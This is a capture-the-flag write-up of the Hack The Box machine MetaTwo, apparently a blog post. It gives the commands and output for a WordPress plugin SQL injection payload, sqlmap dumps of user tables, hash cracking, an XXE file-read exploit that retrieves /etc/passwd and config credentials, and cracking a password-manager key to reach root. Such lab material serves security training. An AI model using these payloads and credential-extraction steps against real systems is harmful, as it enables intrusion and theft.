In this post, I will be explaining how I pwned the MetaTwo box.
First, run nmap
. For later use, I append the output of the command to a file metatwo
, using the command tee
:
$ sudo nmap -A -T4 -p- metatwo.htb | tee metatwo
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-30 11:11 CET
Nmap scan report for metatwo.htb (10.129.231.127)
Host is up (0.040s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp?
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe:cd:79:ee (RSA)
| 256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d:cd:44:11 (ECDSA)
|_ 256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
|_http-server-header: nginx/1.18.0
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=10/30%OT=21%CT=1%CU=36127%PV=Y%DS=2%DC=T%G=Y%TM=635E4E
OS:B2%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)OP
OS:S(O1=M539ST11NW7%O2=M539ST11NW7%O3=M539NNT11NW7%O4=M539ST11NW7%O5=M539ST
OS:11NW7%O6=M539ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)EC
OS:N(R=Y%DF=Y%T=40%W=FAF0%O=M539NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G
OS:%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 143/tcp)
HOP RTT ADDRESS
1 157.09 ms 10.10.14.1
2 157.19 ms metatwo.htb (10.129.231.127)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 213.19 seconds
Let’s visit the webpage on port 80. It redirects us to http://metapress.htb. Let’s add this to our /etc/hosts
file.
Looking at the footer of http://metapress.htb, it seems that the webpage uses WordPress.
Let’s use wpscan
(please note that running this took an hour for me. It may for you, too):
$ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://metapress.htb --plugins-detection mixed
Turns out, the bookingpress-appointment-booking
plugin is not up-to-date.
[+] bookingpress-appointment-booking
| Location: http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/
| Last Updated: 2022-10-22T14:11:00.000Z
| Readme: http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/readme.txt
| [!] The version is out of date, the latest version is 1.0.45
|
| Found By: Known Locations (Aggressive Detection)
| - http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/, status: 200
|
| Version: 1.0.10 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/readme.txt
| Confirmed By: Translation File (Aggressive Detection)
| - http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/languages/bookingpress-appointment-booking-en_US.po, Match: 'sion: BookingPress Appointment Booking v1.0.10'
After a quick Google search, it appears that it has a vulnerability.
Following the instructions, we are able to perform an SQL injection:
$ curl 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ad24ffd7e3&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
[
{
"bookingpress_service_id": "10.5.15-MariaDB-0+deb11u1",
"bookingpress_category_id": "Debian 11",
"bookingpress_service_name": "debian-linux-gnu",
"bookingpress_service_price": "$1.00",
"bookingpress_service_duration_val": "2",
"bookingpress_service_duration_unit": "3",
"bookingpress_service_description": "4",
"bookingpress_service_position": "5",
"bookingpress_servicedate_created": "6",
"service_price_without_currency": 1,
"img_url": "http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/images/placeholder-img.jpg"
}
]
Let’s use sqlmap
to find the databases and extract the tables:
$ sqlmap 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ad24ffd7e3&category_id=33&total_service=1' --dbs
available databases [2]:
[*] blog
[*] information_schema
$ sqlmap 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ad24ffd7e3&category_id=33&total_service=1' -D blog --tables
[27 tables]
+--------------------------------------+
| wp_bookingpress_appointment_bookings |
| wp_bookingpress_categories |
| wp_bookingpress_customers |
| wp_bookingpress_customers_meta |
| wp_bookingpress_customize_settings |
| wp_bookingpress_debug_payment_log |
| wp_bookingpress_default_daysoff |
| wp_bookingpress_default_workhours |
| wp_bookingpress_entries |
| wp_bookingpress_form_fields |
| wp_bookingpress_notifications |
| wp_bookingpress_payment_logs |
| wp_bookingpress_services |
| wp_bookingpress_servicesmeta |
| wp_bookingpress_settings |
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+--------------------------------------+
Let’s dump the wp_users
table:
$ sqlmap 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ad24ffd7e3&category_id=33&total_service=1' -D blog -T wp_users --dump
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| ID | user_url | user_pass | user_email | user_login | user_status | display_name | user_nicename | user_registered | user_activation_key |
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| 1 | http://metapress.htb | $P$BGr*****************9sN4Fzk.TV. | admin@metapress.htb | admin | 0 | admin | admin | 2022-06-23 17:58:28 | <blank> |
| 2 | <blank> | $P$B4a*****************MZbGcU16Q70 | manager@metapress.htb | manager | 0 | manager | manager | 2022-06-23 18:07:55 | <blank> |
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
Let’s try to crack the manager
account password hash:
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Let’s try to log in with these credentials on http://metapress.htb/wp-admin/
.
*Hacker voice* I’m in
At this point, I was stuck for a while. However, after a Google search, it turns out that this version of WordPress is vulnerable to CVE-2021-29447
. Fortunately, someone has developed an exploit.
Follow the instructions on the GitHub page. Make sure to edit malicious.wav
to call to the IP address of your VPN tunnel. Same for attacker/www/evil.dtd
. You should get an output like this:
Throw the base64 string in attacker/decryption.php
and run it. You will get the output of /etc/passwd
:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin
jnelson
looks like an actual user. Unfortunately, using the same method, /home/jnelson/.ssh/id_rsa
does not seem to exist. Let’s try to get the wp-config.php
file as it contains credentials, such as database info. First, we need to find the root location of the WordPress directory, by checking /etc/nginx/sites-enabled/default
. Use the previous method to obtain this file:
server {
listen 80;
listen [::]:80;
root /var/www/metapress.htb/blog;
index index.php index.html;
if ($http_host != "metapress.htb") {
rewrite ^ http://metapress.htb/;
}
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php8.0-fpm.sock;
}
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg)$ {
expires max;
log_not_found off;
}
}
Let’s try to obtain /var/www/metapress.htb/blog/wp-config.php
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );
/** MySQL database username */
define( 'DB_USER', 'blog' );
/** MySQL database password */
define( 'DB_PASSWORD', '635*******CwXFUZ' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_i*********2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );
/**#@+
* Authentication Unique Keys and Salts.
* @since 2.6.0
*/
define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY', 'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT', '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT', '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT', '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );
/**
* WordPress Database Table prefix.
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
Let’s use the FTP credentials to log in to the FTP server on the host. In mailer/send_email.php
, we find SSH credentials!
<?php
/*
* This script will be used to send an email to all our users when ready for launch
*/
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';
$mail = new PHPMailer(true);
$mail->SMTPDebug = 3;
$mail->isSMTP();
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "jnelson@metapress.htb";
$mail->Password = "Cb4*******UZWMu@Ys";
$mail->SMTPSecure = "tls";
$mail->Port = 587;
$mail->From = "jnelson@metapress.htb";
$mail->FromName = "James Nelson";
$mail->addAddress("info@metapress.htb");
$mail->isHTML(true);
$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";
try {
$mail->send();
echo "Message has been sent successfully";
} catch (Exception $e) {
echo "Mailer Error: " . $mail->ErrorInfo;
}
Privilege escalation
First I ran linpeas.sh, but that did not help much at first glance. Then I discovered the .passpie
folder in the user directory, which apparently is a password manager written in Python.
There is a .keys
file inside .passpie
, which contains two GPG keys. We transfer the file onto the attacker machine, remove the public key block and convert it to John the Ripper format. Finally, we crack it.
$ gpg2john keys > keys.john
$ john --wordlist=/usr/share/wordlists/rockyou.txt keys.john
We get the password to export the passpie
passwords to obtain the root password.
$ passpie export pass
$ cat pass
$ su root